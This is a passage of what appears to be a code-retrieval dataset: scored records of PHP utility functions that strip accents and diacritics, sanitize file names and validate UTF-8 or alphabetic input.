"docid": "a7b3f318a8f51042ca4c292bde402479", "score": "0.54139614", "text": "function vn_to_str($str)\n{\n\n $unicode = array(\n\n 'a'=>'á|à|ả|ã|ạ|ă|ắ|ặ|ằ|ẳ|ẵ|â|ấ|ầ|ẩ|ẫ|ậ',\n\n 'd'=>'đ',\n\n 'e'=>'é|è|ẻ|ẽ|ẹ|ê|ế|ề|ể|ễ|ệ',\n\n 'i'=>'í|ì|ỉ|ĩ|ị',\n\n 'o'=>'ó|ò|ỏ|õ|ọ|ô|ố|ồ|ổ|ỗ|ộ|ơ|ớ|ờ|ở|ỡ|ợ',\n\n 'u'=>'ú|ù|ủ|ũ|ụ|ư|ứ|ừ|ử|ữ|ự',\n\n 'y'=>'ý|ỳ|ỷ|ỹ|ỵ',\n\n 'A'=>'Á|À|Ả|Ã|Ạ|Ă|Ắ|Ặ|Ằ|Ẳ|Ẵ|Â|Ấ|Ầ|Ẩ|Ẫ|Ậ',\n\n 'D'=>'Đ',\n\n 'E'=>'É|È|Ẻ|Ẽ|Ẹ|Ê|Ế|Ề|Ể|Ễ|Ệ',\n\n 'I'=>'Í|Ì|Ỉ|Ĩ|Ị',\n\n 'O'=>'Ó|Ò|Ỏ|Õ|Ọ|Ô|Ố|Ồ|Ổ|Ỗ|Ộ|Ơ|Ớ|Ờ|Ở|Ỡ|Ợ',\n\n 'U'=>'Ú|Ù|Ủ|Ũ|Ụ|Ư|Ứ|Ừ|Ử|Ữ|Ự',\n\n 'Y'=>'Ý|Ỳ|Ỷ|Ỹ|Ỵ',\n\n );\n\n foreach($unicode as $nonUnicode=>$uni){\n\n $str = preg_replace(\"/($uni)/i\", $nonUnicode, $str);\n\n }\n $str = str_replace(' ',' ',$str);\n\n return $str;\n\n}", "title": "" }, { "docid": "e2fba9e3e55b1107b4ea12bf676dfca8", "score": "0.54038876", "text": "function strip_diacritic($text) {\n\t$text = str_replace(\",\", \"\", $text); // carky\n\t$text = str_replace(\"(\", \"\", $text); // leve zavorky\n\t$text = str_replace(\")\", \"\", $text); // prave zavorky\n\t$text = str_replace(\"&amp;\", \"a\", $text); // prave zavorky\n\t$text = str_replace(\"&\", \"a\", $text); // prave zavorky\n\t$text = str_replace(\"?\", \"\", $text); // prave zavorky\n\n\t$text = str_replace(\"'\", \"\", $text); //apostrof\n\t$text = str_replace('\"', '', $text); //uvozovky\n\n\n\t// nejdriv odstranim zbytecne mezery,\n\t// kolem pomlcek zleva\n\twhile ( eregi(\" -\", $text) ){\n\t\t$text = str_replace(\" -\", \"-\", $text);\n\t}\n\t// zprava\n\twhile ( eregi(\"- \", $text) ){\n\t\t$text = str_replace(\"- \", \"-\", $text);\n\t}\n\n\t// odstranim pismena s diakritikou\n $table = array(\n 'Š'=>'S', 'š'=>'s', 'Đ'=>'Dj', 'đ'=>'dj', 'Ž'=>'Z', 'ž'=>'z', 'Č'=>'C', 'č'=>'c', 'Ć'=>'C', 'ć'=>'c',\n 'À'=>'A', 'Á'=>'A', 'Â'=>'A', 'Ã'=>'A', 'Ä'=>'A', 'Å'=>'A', 'Æ'=>'A', 'Ç'=>'C', 'È'=>'E', 'É'=>'E',\n 'Ê'=>'E', 'Ë'=>'E', 'Ì'=>'I', 'Í'=>'I', 'Î'=>'I', 'Ï'=>'I', 'Ñ'=>'N', 'Ò'=>'O', 'Ó'=>'O', 'Ô'=>'O',\n 'Õ'=>'O', 'Ö'=>'O', 'Ø'=>'O', 'Ù'=>'U', 'Ú'=>'U', 'Û'=>'U', 'Ü'=>'U', 'Ý'=>'Y', 'Þ'=>'B', 'ß'=>'Ss',\n 'à'=>'a', 'á'=>'a', 'â'=>'a', 'ã'=>'a', 'ä'=>'a', 'å'=>'a', 'æ'=>'a', 'ç'=>'c', 'è'=>'e', 'é'=>'e',\n 'ê'=>'e', 'ë'=>'e', 'ì'=>'i', 'í'=>'i', 'î'=>'i', 'ï'=>'i', 'ð'=>'o', 'ñ'=>'n', 'ò'=>'o', 'ó'=>'o',\n 'ô'=>'o', 'õ'=>'o', 'ö'=>'o', 'ø'=>'o', 'ù'=>'u', 'ú'=>'u', 'û'=>'u', 'ý'=>'y', 'ý'=>'y', 'þ'=>'b',\n 'ÿ'=>'y', 'Ŕ'=>'R', 'ŕ'=>'r', ' '=>'-', 'Ř'=>'R', 'ř'=>'r', 'Ť'=>'T', 'ť'=>'t', 'ě'=>'e'\n );\n $text = strtr($text, $table);\n\n\t// hodim text na mala pismena\n\t$text = strtolower($text);\n\n\treturn $text;\n}", "title": "" }, { "docid": "56d126005bfdc823b700ed77aa900098", "score": "0.5388834", "text": "public function testHtmlDecode(){\n\t\t$filter = new Filter();\n\t\t$this->assertEquals($filter->applyFilter('&lt;&gt;&aacute;&eacute;&iacute;&ntilde;', 'htmldecode'), '<>áéíñ');\n\t}", "title": "" }, { "docid": "4840bf13ca6f5dc1bf07161388f42076", "score": "0.53865445", "text": "function PMA_contains_nonprintable_ascii($value) {\n return preg_match('@[^[:print:]]@', $value);\n}", "title": "" }, { "docid": "f91c935acb1bf1a3415334bd68fdc54b", "score": "0.5385102", "text": "function clean_string($string){\r\n \treturn $string=preg_replace('/^[\\pZ\\pC]+|[\\pZ\\pC]+$/u','',$string); \r\n }", "title": "" }, { "docid": "6a34b29ee23837142dc719d3978043f2", "score": "0.5383449", "text": "function dol_sanitizeFileName($str,$newstr='_',$unaccent=1)\n{\n\t$filesystem_forbidden_chars = array('<','>','/','\\\\','?','*','|','\"','°');\n\treturn dol_string_nospecial($unaccent?dol_string_unaccent($str):$str, $newstr, $filesystem_forbidden_chars);\n}", "title": "" }, { "docid": "bfc9bde7c255e703c7f8e7e1ddb63bfd", "score": "0.5374965", "text": "function properromaji($string) {\r\n global $UTF8Functions;\r\n $newstring = preg_replace($this->illegalromajisequences, \"\", $string);\r\n $newstring = preg_replace($this->illegalromajicharacters, \"\", $newstring);\r\n if ($UTF8Functions->utf8_strlen($newstring) == $UTF8Functions->utf8_strlen($string)) { return true; }\r\n return false; }", "title": "" }, { "docid": "54fe7b6e16a621c000184a7ff97ce16e", "score": "0.53661656", "text": "function isContainSpecialChar($string){\n if (preg_match('/[\\'^£$%&*()}{@#~?><>,|=_+¬-]/', $string)){\n // one or more of the 'special characters' found in $string\n return true;\n } else {\n return false;\n }\n}", "title": "" }, { "docid": "266709483af5c02f89a8131b4db20fd2", "score": "0.53561425", "text": "function drupal_validate_utf8($text) {\n\tif (strlen($text) == 0) {\n\t\treturn TRUE;\n\t}\n\t// With the PCRE_UTF8 modifier 'u', preg_match() fails silently on strings\n\t// containing invalid UTF-8 byte sequences. It does not reject character\n\t// codes above U+10FFFF (represented by 4 or more octets), though.\n\treturn (preg_match('/^./us', $text) == 1);\n}", "title": "" }, { "docid": "265682e1978af04e0a2a6caa19b3938e", "score": "0.53549796", "text": "public function removeAccents($str) {\n $a = array('À', 'Á', 'Â', 'Ã', 'Ä', 'Å', 'Æ', 'Ç', 'È', 'É', 'Ê', 'Ë', 'Ì', 'Í', 'Î', 'Ï', 'Ð', 'Ñ', 'Ò', 'Ó', 'Ô', 'Õ', 'Ö', 'Ø', 'Ù', 'Ú', 'Û', 'Ü', 'Ý', 'ß', 'à', 'á', 'â', 'ã', 'ä', 'å', 'æ', 'ç', 'è', 'é', 'ê', 'ë', 'ì', 'í', 'î', 'ï', 'ñ', 'ò', 'ó', 'ô', 'õ', 'ö', 'ø', 'ù', 'ú', 'û', 'ü', 'ý', 'ÿ', 'Ā', 'ā', 'Ă', 'ă', 'Ą', 'ą', 'Ć', 'ć', 'Ĉ', 'ĉ', 'Ċ', 'ċ', 'Č', 'č', 'Ď', 'ď', 'Đ', 'đ', 'Ē', 'ē', 'Ĕ', 'ĕ', 'Ė', 'ė', 'Ę', 'ę', 'Ě', 'ě', 'Ĝ', 'ĝ', 'Ğ', 'ğ', 'Ġ', 'ġ', 'Ģ', 'ģ', 'Ĥ', 'ĥ', 'Ħ', 'ħ', 'Ĩ', 'ĩ', 'Ī', 'ī', 'Ĭ', 'ĭ', 'Į', 'į', 'İ', 'ı', 'IJ', 'ij', 'Ĵ', 'ĵ', 'Ķ', 'ķ', 'Ĺ', 'ĺ', 'Ļ', 'ļ', 'Ľ', 'ľ', 'Ŀ', 'ŀ', 'Ł', 'ł', 'Ń', 'ń', 'Ņ', 'ņ', 'Ň', 'ň', 'ʼn', 'Ō', 'ō', 'Ŏ', 'ŏ', 'Ő', 'ő', 'Œ', 'œ', 'Ŕ', 'ŕ', 'Ŗ', 'ŗ', 'Ř', 'ř', 'Ś', 'ś', 'Ŝ', 'ŝ', 'Ş', 'ş', 'Š', 'š', 'Ţ', 'ţ', 'Ť', 'ť', 'Ŧ', 'ŧ', 'Ũ', 'ũ', 'Ū', 'ū', 'Ŭ', 'ŭ', 'Ů', 'ů', 'Ű', 'ű', 'Ų', 'ų', 'Ŵ', 'ŵ', 'Ŷ', 'ŷ', 'Ÿ', 'Ź', 'ź', 'Ż', 'ż', 'Ž', 'ž', 'ſ', 'ƒ', 'Ơ', 'ơ', 'Ư', 'ư', 'Ǎ', 'ǎ', 'Ǐ', 'ǐ', 'Ǒ', 'ǒ', 'Ǔ', 'ǔ', 'Ǖ', 'ǖ', 'Ǘ', 'ǘ', 'Ǚ', 'ǚ', 'Ǜ', 'ǜ', 'Ǻ', 'ǻ', 'Ǽ', 'ǽ', 'Ǿ', 'ǿ', 'Ά', 'ά', 'Έ', 'έ', 'Ό', 'ό', 'Ώ', 'ώ', 'Ί', 'ί', 'ϊ', 'ΐ', 'Ύ', 'ύ', 'ϋ', 'ΰ', 'Ή', 'ή');\n $b = array('A', 'A', 'A', 'A', 'A', 'A', 'AE', 'C', 'E', 'E', 'E', 'E', 'I', 'I', 'I', 'I', 'D', 'N', 'O', 'O', 'O', 'O', 'O', 'O', 'U', 'U', 'U', 'U', 'Y', 's', 'a', 'a', 'a', 'a', 'a', 'a', 'ae', 'c', 'e', 'e', 'e', 'e', 'i', 'i', 'i', 'i', 'n', 'o', 'o', 'o', 'o', 'o', 'o', 'u', 'u', 'u', 'u', 'y', 'y', 'A', 'a', 'A', 'a', 'A', 'a', 'C', 'c', 'C', 'c', 'C', 'c', 'C', 'c', 'D', 'd', 'D', 'd', 'E', 'e', 'E', 'e', 'E', 'e', 'E', 'e', 'E', 'e', 'G', 'g', 'G', 'g', 'G', 'g', 'G', 'g', 'H', 'h', 'H', 'h', 'I', 'i', 'I', 'i', 'I', 'i', 'I', 'i', 'I', 'i', 'IJ', 'ij', 'J', 'j', 'K', 'k', 'L', 'l', 'L', 'l', 'L', 'l', 'L', 'l', 'l', 'l', 'N', 'n', 'N', 'n', 'N', 'n', 'n', 'O', 'o', 'O', 'o', 'O', 'o', 'OE', 'oe', 'R', 'r', 'R', 'r', 'R', 'r', 'S', 's', 'S', 's', 'S', 's', 'S', 's', 'T', 't', 'T', 't', 'T', 't', 'U', 'u', 'U', 'u', 'U', 'u', 'U', 'u', 'U', 'u', 'U', 'u', 'W', 'w', 'Y', 'y', 'Y', 'Z', 'z', 'Z', 'z', 'Z', 'z', 's', 'f', 'O', 'o', 'U', 'u', 'A', 'a', 'I', 'i', 'O', 'o', 'U', 'u', 'U', 'u', 'U', 'u', 'U', 'u', 'U', 'u', 'A', 'a', 'AE', 'ae', 'O', 'o', 'Α', 'α', 'Ε', 'ε', 'Ο', 'ο', 'Ω', 'ω', 'Ι', 'ι', 'ι', 'ι', 'Υ', 'υ', 'υ', 'υ', 'Η', 'η');\n return str_replace($a, $b, $str);\n}", "title": "" }, { "docid": "79104bda690f5d5282f349c94a8b8cf0", "score": "0.53511745", "text": "public static function removeAccents($string)\n {\n if (!preg_match('/[\\x80-\\xff]/', $string)) {\n return $string;\n }\n\n if (self::seemsUtf8($string)) {\n $chars = array(\n // Decompositions for Latin-1 Supplement\n chr(194) . chr(170) => 'a', chr(194) . chr(186) => 'o',\n chr(195) . chr(128) => 'A', chr(195) . chr(129) => 'A',\n chr(195) . chr(130) => 'A', chr(195) . chr(131) => 'A',\n chr(195) . chr(132) => 'A', chr(195) . chr(133) => 'A',\n chr(195) . chr(134) => 'AE', chr(195) . chr(135) => 'C',\n chr(195) . chr(136) => 'E', chr(195) . chr(137) => 'E',\n chr(195) . chr(138) => 'E', chr(195) . chr(139) => 'E',\n chr(195) . chr(140) => 'I', chr(195) . chr(141) => 'I',\n chr(195) . chr(142) => 'I', chr(195) . chr(143) => 'I',\n chr(195) . chr(144) => 'D', chr(195) . chr(145) => 'N',\n chr(195) . chr(146) => 'O', chr(195) . chr(147) => 'O',\n chr(195) . chr(148) => 'O', chr(195) . chr(149) => 'O',\n chr(195) . chr(150) => 'O', chr(195) . chr(153) => 'U',\n chr(195) . chr(154) => 'U', chr(195) . chr(155) => 'U',\n chr(195) . chr(156) => 'U', chr(195) . chr(157) => 'Y',\n chr(195) . chr(158) => 'TH', chr(195) . chr(159) => 's',\n chr(195) . chr(160) => 'a', chr(195) . chr(161) => 'a',\n chr(195) . chr(162) => 'a', chr(195) . chr(163) => 'a',\n chr(195) . chr(164) => 'a', chr(195) . chr(165) => 'a',\n chr(195) . chr(166) => 'ae', chr(195) . chr(167) => 'c',\n chr(195) . chr(168) => 'e', chr(195) . chr(169) => 'e',\n chr(195) . chr(170) => 'e', chr(195) . chr(171) => 'e',\n chr(195) . chr(172) => 'i', chr(195) . chr(173) => 'i',\n chr(195) . chr(174) => 'i', chr(195) . chr(175) => 'i',\n chr(195) . chr(176) => 'd', chr(195) . chr(177) => 'n',\n chr(195) . chr(178) => 'o', chr(195) . chr(179) => 'o',\n chr(195) . chr(180) => 'o', chr(195) . chr(181) => 'o',\n chr(195) . chr(182) => 'o', chr(195) . chr(184) => 'o',\n chr(195) . chr(185) => 'u', chr(195) . chr(186) => 'u',\n chr(195) . chr(187) => 'u', chr(195) . chr(188) => 'u',\n chr(195) . chr(189) => 'y', chr(195) . chr(190) => 'th',\n chr(195) . chr(191) => 'y', chr(195) . chr(152) => 'O',\n // Decompositions for Latin Extended-A\n chr(196) . chr(128) => 'A', chr(196) . chr(129) => 'a',\n chr(196) . chr(130) => 'A', chr(196) . chr(131) => 'a',\n chr(196) . chr(132) => 'A', chr(196) . chr(133) => 'a',\n chr(196) . chr(134) => 'C', chr(196) . chr(135) => 'c',\n chr(196) . chr(136) => 'C', chr(196) . chr(137) => 'c',\n chr(196) . chr(138) => 'C', chr(196) . chr(139) => 'c',\n chr(196) . chr(140) => 'C', chr(196) . chr(141) => 'c',\n chr(196) . chr(142) => 'D', chr(196) . chr(143) => 'd',\n chr(196) . chr(144) => 'D', chr(196) . chr(145) => 'd',\n chr(196) . chr(146) => 'E', chr(196) . chr(147) => 'e',\n chr(196) . chr(148) => 'E', chr(196) . chr(149) => 'e',\n chr(196) . chr(150) => 'E', chr(196) . chr(151) => 'e',\n chr(196) . chr(152) => 'E', chr(196) . chr(153) => 'e',\n chr(196) . chr(154) => 'E', chr(196) . chr(155) => 'e',\n chr(196) . chr(156) => 'G', chr(196) . chr(157) => 'g',\n chr(196) . chr(158) => 'G', chr(196) . chr(159) => 'g',\n chr(196) . chr(160) => 'G', chr(196) . chr(161) => 'g',\n chr(196) . chr(162) => 'G', chr(196) . chr(163) => 'g',\n chr(196) . chr(164) => 'H', chr(196) . chr(165) => 'h',\n chr(196) . chr(166) => 'H', chr(196) . chr(167) => 'h',\n chr(196) . chr(168) => 'I', chr(196) . chr(169) => 'i',\n chr(196) . chr(170) => 'I', chr(196) . chr(171) => 'i',\n chr(196) . chr(172) => 'I', chr(196) . chr(173) => 'i',\n chr(196) . chr(174) => 'I', chr(196) . chr(175) => 'i',\n chr(196) . chr(176) => 'I', chr(196) . chr(177) => 'i',\n chr(196) . chr(178) => 'IJ', chr(196) . chr(179) => 'ij',\n chr(196) . chr(180) => 'J', chr(196) . chr(181) => 'j',\n chr(196) . chr(182) => 'K', chr(196) . chr(183) => 'k',\n chr(196) . chr(184) => 'k', chr(196) . chr(185) => 'L',\n chr(196) . chr(186) => 'l', chr(196) . chr(187) => 'L',\n chr(196) . chr(188) => 'l', chr(196) . chr(189) => 'L',\n chr(196) . chr(190) => 'l', chr(196) . chr(191) => 'L',\n chr(197) . chr(128) => 'l', chr(197) . chr(129) => 'L',\n chr(197) . chr(130) => 'l', chr(197) . chr(131) => 'N',\n chr(197) . chr(132) => 'n', chr(197) . chr(133) => 'N',\n chr(197) . chr(134) => 'n', chr(197) . chr(135) => 'N',\n chr(197) . chr(136) => 'n', chr(197) . chr(137) => 'N',\n chr(197) . chr(138) => 'n', chr(197) . chr(139) => 'N',\n chr(197) . chr(140) => 'O', chr(197) . chr(141) => 'o',\n chr(197) . chr(142) => 'O', chr(197) . chr(143) => 'o',\n chr(197) . chr(144) => 'O', chr(197) . chr(145) => 'o',\n chr(197) . chr(146) => 'OE', chr(197) . chr(147) => 'oe',\n chr(197) . chr(148) => 'R', chr(197) . chr(149) => 'r',\n chr(197) . chr(150) => 'R', chr(197) . chr(151) => 'r',\n chr(197) . chr(152) => 'R', chr(197) . chr(153) => 'r',\n chr(197) . chr(154) => 'S', chr(197) . chr(155) => 's',\n chr(197) . chr(156) => 'S', chr(197) . chr(157) => 's',\n chr(197) . chr(158) => 'S', chr(197) . chr(159) => 's',\n chr(197) . chr(160) => 'S', chr(197) . chr(161) => 's',\n chr(197) . chr(162) => 'T', chr(197) . chr(163) => 't',\n chr(197) . chr(164) => 'T', chr(197) . chr(165) => 't',\n chr(197) . chr(166) => 'T', chr(197) . chr(167) => 't',\n chr(197) . chr(168) => 'U', chr(197) . chr(169) => 'u',\n chr(197) . chr(170) => 'U', chr(197) . chr(171) => 'u',\n chr(197) . chr(172) => 'U', chr(197) . chr(173) => 'u',\n chr(197) . chr(174) => 'U', chr(197) . chr(175) => 'u',\n chr(197) . chr(176) => 'U', chr(197) . chr(177) => 'u',\n chr(197) . chr(178) => 'U', chr(197) . chr(179) => 'u',\n chr(197) . chr(180) => 'W', chr(197) . chr(181) => 'w',\n chr(197) . chr(182) => 'Y', chr(197) . chr(183) => 'y',\n chr(197) . chr(184) => 'Y', chr(197) . chr(185) => 'Z',\n chr(197) . chr(186) => 'z', chr(197) . chr(187) => 'Z',\n chr(197) . chr(188) => 'z', chr(197) . chr(189) => 'Z',\n chr(197) . chr(190) => 'z', chr(197) . chr(191) => 's',\n // Decompositions for Latin Extended-B\n chr(200) . chr(152) => 'S', chr(200) . chr(153) => 's',\n chr(200) . chr(154) => 'T', chr(200) . chr(155) => 't',\n // Euro Sign\n chr(226) . chr(130) . chr(172) => 'E',\n // GBP (Pound) Sign\n chr(194) . chr(163) => '',\n // Vowels with diacritic (Vietnamese)\n // unmarked\n chr(198) . chr(160) => 'O', chr(198) . chr(161) => 'o',\n chr(198) . chr(175) => 'U', chr(198) . chr(176) => 'u',\n // grave accent\n chr(225) . chr(186) . chr(166) => 'A', chr(225) . chr(186) . chr(167) => 'a',\n chr(225) . chr(186) . chr(176) => 'A', chr(225) . chr(186) . chr(177) => 'a',\n chr(225) . chr(187) . chr(128) => 'E', chr(225) . chr(187) . chr(129) => 'e',\n chr(225) . chr(187) . chr(146) => 'O', chr(225) . chr(187) . chr(147) => 'o',\n chr(225) . chr(187) . chr(156) => 'O', chr(225) . chr(187) . chr(157) => 'o',\n chr(225) . chr(187) . chr(170) => 'U', chr(225) . chr(187) . chr(171) => 'u',\n chr(225) . chr(187) . chr(178) => 'Y', chr(225) . chr(187) . chr(179) => 'y',\n // hook\n chr(225) . chr(186) . chr(162) => 'A', chr(225) . chr(186) . chr(163) => 'a',\n chr(225) . chr(186) . chr(168) => 'A', chr(225) . chr(186) . chr(169) => 'a',\n chr(225) . chr(186) . chr(178) => 'A', chr(225) . chr(186) . chr(179) => 'a',\n chr(225) . chr(186) . chr(186) => 'E', chr(225) . chr(186) . chr(187) => 'e',\n chr(225) . chr(187) . chr(130) => 'E', chr(225) . chr(187) . chr(131) => 'e',\n chr(225) . chr(187) . chr(136) => 'I', chr(225) . chr(187) . chr(137) => 'i',\n chr(225) . chr(187) . chr(142) => 'O', chr(225) . chr(187) . chr(143) => 'o',\n chr(225) . chr(187) . chr(148) => 'O', chr(225) . chr(187) . chr(149) => 'o',\n chr(225) . chr(187) . chr(158) => 'O', chr(225) . chr(187) . chr(159) => 'o',\n chr(225) . chr(187) . chr(166) => 'U', chr(225) . chr(187) . chr(167) => 'u',\n chr(225) . chr(187) . chr(172) => 'U', chr(225) . chr(187) . chr(173) => 'u',\n chr(225) . chr(187) . chr(182) => 'Y', chr(225) . chr(187) . chr(183) => 'y',\n // tilde\n chr(225) . chr(186) . chr(170) => 'A', chr(225) . chr(186) . chr(171) => 'a',\n chr(225) . chr(186) . chr(180) => 'A', chr(225) . chr(186) . chr(181) => 'a',\n chr(225) . chr(186) . chr(188) => 'E', chr(225) . chr(186) . chr(189) => 'e',\n chr(225) . chr(187) . chr(132) => 'E', chr(225) . chr(187) . chr(133) => 'e',\n chr(225) . chr(187) . chr(150) => 'O', chr(225) . chr(187) . chr(151) => 'o',\n chr(225) . chr(187) . chr(160) => 'O', chr(225) . chr(187) . chr(161) => 'o',\n chr(225) . chr(187) . chr(174) => 'U', chr(225) . chr(187) . chr(175) => 'u',\n chr(225) . chr(187) . chr(184) => 'Y', chr(225) . chr(187) . chr(185) => 'y',\n // acute accent\n chr(225) . chr(186) . chr(164) => 'A', chr(225) . chr(186) . chr(165) => 'a',\n chr(225) . chr(186) . chr(174) => 'A', chr(225) . chr(186) . chr(175) => 'a',\n chr(225) . chr(186) . chr(190) => 'E', chr(225) . chr(186) . chr(191) => 'e',\n chr(225) . chr(187) . chr(144) => 'O', chr(225) . chr(187) . chr(145) => 'o',\n chr(225) . chr(187) . chr(154) => 'O', chr(225) . chr(187) . chr(155) => 'o',\n chr(225) . chr(187) . chr(168) => 'U', chr(225) . chr(187) . chr(169) => 'u',\n // dot below\n chr(225) . chr(186) . chr(160) => 'A', chr(225) . chr(186) . chr(161) => 'a',\n chr(225) . chr(186) . chr(172) => 'A', chr(225) . chr(186) . chr(173) => 'a',\n chr(225) . chr(186) . chr(182) => 'A', chr(225) . chr(186) . chr(183) => 'a',\n chr(225) . chr(186) . chr(184) => 'E', chr(225) . chr(186) . chr(185) => 'e',\n chr(225) . chr(187) . chr(134) => 'E', chr(225) . chr(187) . chr(135) => 'e',\n chr(225) . chr(187) . chr(138) => 'I', chr(225) . chr(187) . chr(139) => 'i',\n chr(225) . chr(187) . chr(140) => 'O', chr(225) . chr(187) . chr(141) => 'o',\n chr(225) . chr(187) . chr(152) => 'O', chr(225) . chr(187) . chr(153) => 'o',\n chr(225) . chr(187) . chr(162) => 'O', chr(225) . chr(187) . chr(163) => 'o',\n chr(225) . chr(187) . chr(164) => 'U', chr(225) . chr(187) . chr(165) => 'u',\n chr(225) . chr(187) . chr(176) => 'U', chr(225) . chr(187) . chr(177) => 'u',\n chr(225) . chr(187) . chr(180) => 'Y', chr(225) . chr(187) . chr(181) => 'y',\n );\n\n $string = strtr($string, $chars);\n } else {\n // Assume ISO-8859-1 if not UTF-8\n $chars['in'] = chr(128) . chr(131) . chr(138) . chr(142) . chr(154) . chr(158)\n . chr(159) . chr(162) . chr(165) . chr(181) . chr(192) . chr(193) . chr(194)\n . chr(195) . chr(196) . chr(197) . chr(199) . chr(200) . chr(201) . chr(202)\n . chr(203) . chr(204) . chr(205) . chr(206) . chr(207) . chr(209) . chr(210)\n . chr(211) . chr(212) . chr(213) . chr(214) . chr(216) . chr(217) . chr(218)\n . chr(219) . chr(220) . chr(221) . chr(224) . chr(225) . chr(226) . chr(227)\n . chr(228) . chr(229) . chr(231) . chr(232) . chr(233) . chr(234) . chr(235)\n . chr(236) . chr(237) . chr(238) . chr(239) . chr(241) . chr(242) . chr(243)\n . chr(244) . chr(245) . chr(246) . chr(248) . chr(249) . chr(250) . chr(251)\n . chr(252) . chr(253) . chr(255);\n\n $chars['out'] = \"EfSZszYcYuAAAAAACEEEEIIIINOOOOOOUUUUYaaaaaaceeeeiiiinoooooouuuuyy\";\n\n $string = strtr($string, $chars['in'], $chars['out']);\n $double_chars['in'] = [\n chr(140), chr(156), chr(198), chr(208), chr(222), chr(223), chr(230), chr(240), chr(254),\n ];\n $double_chars['out'] = ['OE', 'oe', 'AE', 'DH', 'TH', 'ss', 'ae', 'dh', 'th'];\n $string = str_replace($double_chars['in'], $double_chars['out'], $string);\n }\n\n return $string;\n }", "title": "" }, { "docid": "13e9a8dd11e6d2258d94df7839ad9ba7", "score": "0.53503364", "text": "public static function isName($name)\n\t\t{\n\t\t\treturn preg_match(\"#^[\\w-' àáâãäåçèéêëìíîïðòóôõöùúûüýÿ]{2,32}$#u\", $name);\n\t\t}", "title": "" }, { "docid": "940d9f72acb9062038ef5436f826a419", "score": "0.5342729", "text": "function isValidAlphabet($unit){\n return preg_match_all('/[^A-Z]/', strtoupper($unit)) ? 'false' : 'true';\t\n }", "title": "" }, { "docid": "b56b86e100c9d27041d54c4cb964db19", "score": "0.5341663", "text": "function replaceAccents($rawString)\n{\n $a = array('À', 'Á', 'Â', 'Ã', 'Ä', 'Å', 'Æ', 'Ç', 'È', 'É', 'Ê', 'Ë', 'Ì', 'Í', 'Î', 'Ï', 'Ð', 'Ñ', 'Ò', 'Ó', 'Ô', 'Õ', 'Ö', 'Ø', 'Ù', 'Ú', 'Û', 'Ü', 'Ý', 'ß', 'à', 'á', 'â', 'ã', 'ä', 'å', 'æ', 'ç', 'è', 'é', 'ê', 'ë', 'ì', 'í', 'î', 'ï', 'ñ', 'ò', 'ó', 'ô', 'õ', 'ö', 'ø', 'ù', 'ú', 'û', 'ü', 'ý', 'ÿ', 'Ā', 'ā', 'Ă', 'ă', 'Ą', 'ą', 'Ć', 'ć', 'Ĉ', 'ĉ', 'Ċ', 'ċ', 'Č', 'č', 'Ď', 'ď', 'Đ', 'đ', 'Ē', 'ē', 'Ĕ', 'ĕ', 'Ė', 'ė', 'Ę', 'ę', 'Ě', 'ě', 'Ĝ', 'ĝ', 'Ğ', 'ğ', 'Ġ', 'ġ', 'Ģ', 'ģ', 'Ĥ', 'ĥ', 'Ħ', 'ħ', 'Ĩ', 'ĩ', 'Ī', 'ī', 'Ĭ', 'ĭ', 'Į', 'į', 'İ', 'ı', 'IJ', 'ij', 'Ĵ', 'ĵ', 'Ķ', 'ķ', 'Ĺ', 'ĺ', 'Ļ', 'ļ', 'Ľ', 'ľ', 'Ŀ', 'ŀ', 'Ł', 'ł', 'Ń', 'ń', 'Ņ', 'ņ', 'Ň', 'ň', 'ʼn', 'Ō', 'ō', 'Ŏ', 'ŏ', 'Ő', 'ő', 'Œ', 'œ', 'Ŕ', 'ŕ', 'Ŗ', 'ŗ', 'Ř', 'ř', 'Ś', 'ś', 'Ŝ', 'ŝ', 'Ş', 'ş', 'Š', 'š', 'Ţ', 'ţ', 'Ť', 'ť', 'Ŧ', 'ŧ', 'Ũ', 'ũ', 'Ū', 'ū', 'Ŭ', 'ŭ', 'Ů', 'ů', 'Ű', 'ű', 'Ų', 'ų', 'Ŵ', 'ŵ', 'Ŷ', 'ŷ', 'Ÿ', 'Ź', 'ź', 'Ż', 'ż', 'Ž', 'ž', 'ſ', 'ƒ', 'Ơ', 'ơ', 'Ư', 'ư', 'Ǎ', 'ǎ', 'Ǐ', 'ǐ', 'Ǒ', 'ǒ', 'Ǔ', 'ǔ', 'Ǖ', 'ǖ', 'Ǘ', 'ǘ', 'Ǚ', 'ǚ', 'Ǜ', 'ǜ', 'Ǻ', 'ǻ', 'Ǽ', 'ǽ', 'Ǿ', 'ǿ', 'Ά', 'ά', 'Έ', 'έ', 'Ό', 'ό', 'Ώ', 'ώ', 'Ί', 'ί', 'ϊ', 'ΐ', 'Ύ', 'ύ', 'ϋ', 'ΰ', 'Ή', 'ή');\n $b = array('A', 'A', 'A', 'A', 'A', 'A', 'AE', 'C', 'E', 'E', 'E', 'E', 'I', 'I', 'I', 'I', 'D', 'N', 'O', 'O', 'O', 'O', 'O', 'O', 'U', 'U', 'U', 'U', 'Y', 's', 'a', 'a', 'a', 'a', 'a', 'a', 'ae', 'c', 'e', 'e', 'e', 'e', 'i', 'i', 'i', 'i', 'n', 'o', 'o', 'o', 'o', 'o', 'o', 'u', 'u', 'u', 'u', 'y', 'y', 'A', 'a', 'A', 'a', 'A', 'a', 'C', 'c', 'C', 'c', 'C', 'c', 'C', 'c', 'D', 'd', 'D', 'd', 'E', 'e', 'E', 'e', 'E', 'e', 'E', 'e', 'E', 'e', 'G', 'g', 'G', 'g', 'G', 'g', 'G', 'g', 'H', 'h', 'H', 'h', 'I', 'i', 'I', 'i', 'I', 'i', 'I', 'i', 'I', 'i', 'IJ', 'ij', 'J', 'j', 'K', 'k', 'L', 'l', 'L', 'l', 'L', 'l', 'L', 'l', 'l', 'l', 'N', 'n', 'N', 'n', 'N', 'n', 'n', 'O', 'o', 'O', 'o', 'O', 'o', 'OE', 'oe', 'R', 'r', 'R', 'r', 'R', 'r', 'S', 's', 'S', 's', 'S', 's', 'S', 's', 'T', 't', 'T', 't', 'T', 't', 'U', 'u', 'U', 'u', 'U', 'u', 'U', 'u', 'U', 'u', 'U', 'u', 'W', 'w', 'Y', 'y', 'Y', 'Z', 'z', 'Z', 'z', 'Z', 'z', 's', 'f', 'O', 'o', 'U', 'u', 'A', 'a', 'I', 'i', 'O', 'o', 'U', 'u', 'U', 'u', 'U', 'u', 'U', 'u', 'U', 'u', 'A', 'a', 'AE', 'ae', 'O', 'o', 'Α', 'α', 'Ε', 'ε', 'Ο', 'ο', 'Ω', 'ω', 'Ι', 'ι', 'ι', 'ι', 'Υ', 'υ', 'υ', 'υ', 'Η', 'η');\n return str_replace($a, $b, $rawString);\n}", "title": "" }, 